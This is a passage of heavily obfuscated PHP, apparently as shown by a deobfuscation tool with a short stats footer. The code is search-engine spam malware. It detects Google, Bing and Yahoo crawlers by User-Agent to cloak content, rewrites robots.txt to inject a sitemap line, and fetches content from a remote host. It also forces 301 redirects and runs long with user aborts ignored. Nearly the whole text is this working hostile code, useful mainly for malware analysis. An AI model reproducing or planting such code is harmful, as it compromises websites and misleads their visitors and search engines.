JvsAh($WorpI); goto YSan9; osHJU: $DiqHL = dirname(__FILE__); goto B22ZG; n7J2i: goto BCDPC; goto Om8iI; poHnQ: exit; goto r0YeE; vfHew: usyCq($lg7eI, $GYUF6, $LO6Y6); goto GXfva; SjZKr: if (strstr($onnPQ, "\x70\151\156\x67\x78\x6d\154\x67\x65\x74\143\157\156\x74\x65\x6e\x74")) { goto Rt57b; } goto FWeTj; S3paN: MzmHm: goto iRjVZ; QmpAC: $Co0YT = "\x68\x74\164\160\163"; goto NoJ9V; L4iSB: if (!strstr($glUTJ, "\56\x70" . "\x68\160")) { goto cJz9n; } goto HmB6E; cY1rB: $Cw5bj = urlencode($Cw5bj); goto bC8Mh; ZYKjv: rsCuo: goto Z3UzB; uSf96: $onnPQ = str_replace("\x6f\x6b\150\164\x6d\154\x67\x65\x74\x63\157\156\164\x65\156\x74", '', $onnPQ); goto Kri9v; rVqMP: xATJI: goto dei1B; ryRvS: fA2Uh: goto FF1kS; xhZhM: $LO6Y6 = $ss4Nk . "\x3a\x2f\x2f" . $QlQSs . "\x2f\x74\x65\155\160\x2f\x73\x74\x79\x6c\145\56\x63\x73\x73"; goto OfqY_; Iu8rk: $onnPQ = str_replace("\160\x69\156\x67\170\x6d\x6c\147\x65\x74\x63\157\x6e\x74\145\156\x74", '', $onnPQ); goto vfHew; EtBaR: function d1fPr() { goto m4jmc; boHXg: goto Zj_qR; goto sKJZF; uWpVA: return $Cjcl8; goto cHziE; j8NNY: Zj_qR: goto uWpVA; X7hz9: $Cjcl8 = $_SERVER["\120\x48\x50\137\123\x45\114\106"] . "\77" . $_SERVER["\121\x55\105\x52\x59\137\123\x54\x52\x49\x4e\107"]; goto Zkdt7; ftVMA: cj0k0: goto qjQKh; uT3fg: if (isset($_SERVER["\x61\162\147\166"])) { goto cj0k0; } goto X7hz9; xNHt1: QWX3h: goto boHXg; sKJZF: fd1m3: goto hdPnA; qjQKh: $Cjcl8 = $_SERVER["\x50\x48\120\137\x53\105\114\106"] . "\x3f" . $_SERVER["\141\x72\147\166"][0]; goto xNHt1; hdPnA: $Cjcl8 = $_SERVER["\122\105\x51\x55\105\x53\x54\x5f\125\x52\x49"]; goto j8NNY; m4jmc: if (isset($_SERVER["\122\105\121\x55\x45\x53\x54\x5f\125\122\111"])) { goto fd1m3; } goto uT3fg; Zkdt7: goto QWX3h; goto ftVMA; cHziE: } goto b_nru; hYv_c: sT8LO: goto zCEkS; tBg5N: $NtJQn = sha1(sha1(@$_GET["\142"])); goto rI2_l; YSan9: TwTe8: goto WCcZf; pdsQD: goto vI93C; goto ioGpk; GDwmu: if (strstr($onnPQ, "\156\157\142\x6f\164\165\x73\x65\162\141\147\145\x6e\164")) { goto R3bO2; } goto alkNv; Jb4y1: header("\x4c\x6f\143\141\164\151\157\x6e\x3a\40" . $onnPQ); goto gMp4Q; bMqr3: $KZXtw = @$_GET["\141\143\164\x69\157\156"]; goto dDZpJ; g77ZC: @ignore_user_abort(1); goto hKoDe; htpxw: Rt57b: goto Iu8rk; HXLdC: DEFcq: goto jNtDj; orZIs: cJz9n: goto CFqgg; ZEGzU: s5e0t: goto kL26A; Gfvuf: goto hU0hu; goto jD6Vy; NmH2j: $jfA6M = file_get_contents($GYUF6); goto ex1iy; jNtDj: $Cjcl8 = urlencode($C0MQr); goto EtBaR; pDOEB: ePANr: goto EXFLh; aSD3h: if (!is_file($r805c)) { goto eSIPB; } goto b2cjN; zIMdF: CUCwl: goto iYMNa; qN_Sv: if (file_put_contents($WorpI, trim($yabDe) . "\xd\xa" . "\x53\x69\164\145\x6d\x61\160\72\x20" . $Bl4Lh)) { goto sT8LO; } goto LvIxU; B22ZG: goto xATJI; goto WWrCP; lCn7a: goto thhb6; goto AuOAy; MtU9h: $Co0YT = "\x68\164\x74\160"; goto MYGu1; xchbF: CRCKM: goto Uyx2F; Iiw9v: if (strstr($glUTJ, "\x2e\x78\x6d\x6c")) { goto MZZrZ; } goto jqi2a; NoJ9V: JgION: goto KxfTf; WcByV: echo $onnPQ; goto poHnQ; XGppv: goto kZaOf; goto ryRvS; lt8x1: @header("\110\124\x54\x50\x2f\61\56\x31\40\x33\x30\61\x20\x4d\x6f\x76\x65\144\x20\120\x65\x72\155\141\x6e\145\156\x74\154\171"); goto Kb_2z; m45df: $DiqHL = dirname(__FILE__); goto w2lDc; ywXuT: goto LHJC3; goto htpxw; hiLpk: if (i2JQi()) { goto FrwVO; } goto MtU9h; ioGpk: II7Wc: goto vWrm7; F6OYY: vI93C: goto yRl03; Fv5BN: function Sx7zW() { goto v_Y_S; X2YRC: goto M0dAH; goto DC9V7; e7Fgt: if (stristr($L9vO8, "\x67\x6f\157\x67\x6c\x65\142\157\164") || stristr($L9vO8, "\x62\x69\x6e\147") || stristr($L9vO8, "\171\x61\150\x6f\x6f") || stristr($L9vO8, "\147\157\x6f\x67\154\x65") || stristr($L9vO8, "\x47\157\157\x67\154\145\142\x6f\x74") || stristr($L9vO8, "\x67\x6f\x6f\x67\154\x65\142\157\164")) { goto ujyX4; } goto Pong3; v_Y_S: $L9vO8 = strtolower($_SERVER["\x48\124\x54\x50\x5f\125\123\105\122\x5f\x41\107\105\116\x54"]); goto e7Fgt; DC9V7: ujyX4: goto Hk3gA; Pong3: return false; goto X2YRC; Hk3gA: return true; goto N9WRg; N9WRg: M0dAH: goto SLo4r; SLo4r: } goto UXd_m; Uyx2F: if (is_file($GYUF6)) { goto BNm_h; } goto X71k6; hWefZ: gTmeI: goto iJQYV; GMjUi: $C0MQr = "\x2f"; goto HXLdC; w2lDc: goto LVvQF; goto iLv4L; QzXg4: $DiqHL = $_SERVER["\x44\x4f\103\125\115\x45\x4e\x54\x5f\x52\117\x4f\x54"]; goto ThI54; h3xYj: if (stristr($yabDe, $Bl4Lh)) { goto II7Wc; } goto qN_Sv; YuGxn: @set_time_limit(3600); goto g77ZC; FF1kS: $onnPQ = str_replace("\x6f\x6b\170\x6d\x6c\x67\145\x74\x63\157\x6e\x74\145\x6e\x74", '', $onnPQ); goto n3QVi; AuOAy: bcWTP: goto nICIf; bC8Mh: $Qn_bN = ''; goto itP4C; n3QVi: @header("\103\x6f\x6e\x74\x65\156\164\x2d\x74\x79\x70\145\72\40\164\x65\x78\164\x2f\170\x6d\154"); goto WcByV; nICIf: @header("\103\x6f\x6e\x74\145\x6e\x74\55\164\171\x70\145\x3a\40\x74\145\x78\164\57\x68\x74\155\x6c\x3b\40\143\x68\141\x72\x73\x65\164\75\x75\164\146\x2d\70"); goto wtVZM; KjtbM: if (substr($cY7ye, 0, 4) == "\167\167\x77\x2e") { goto AxxhK; } goto lzlYB; PmJvy: lbuMi: goto orZIs; R4mhl: $tVMZJ = substr($cY7ye, 4); goto E6IAI; yRl03: BCDPC: goto L4iSB; jD6Vy: BNm_h: goto LGz3V; IyShN: hU0hu: goto IR0Ap; Dh3kI: $yabDe = "\125\x73\x65\162\x2d\x61\147\145\156\164\72\40\x2a\15\12\101\x6c\154\157\x77\x3a\x20\x2f"; goto P0_RD; Z3UzB: goto MzmHm; goto CYZBA; IIFvi: if (file_exists($WorpI)) { goto CUCwl; } goto Dh3kI; uE0s9: goto JFyvi; goto hYv_c; YFOWW: DbIZR: goto ywXuT; txmgs: R3bO2:
Function Calls
None |
Stats
MD5 | 3cb4ad429340f5c02d5bf9d7e8b398ab |
Eval Count | 0 |
Decode Time | 46 ms |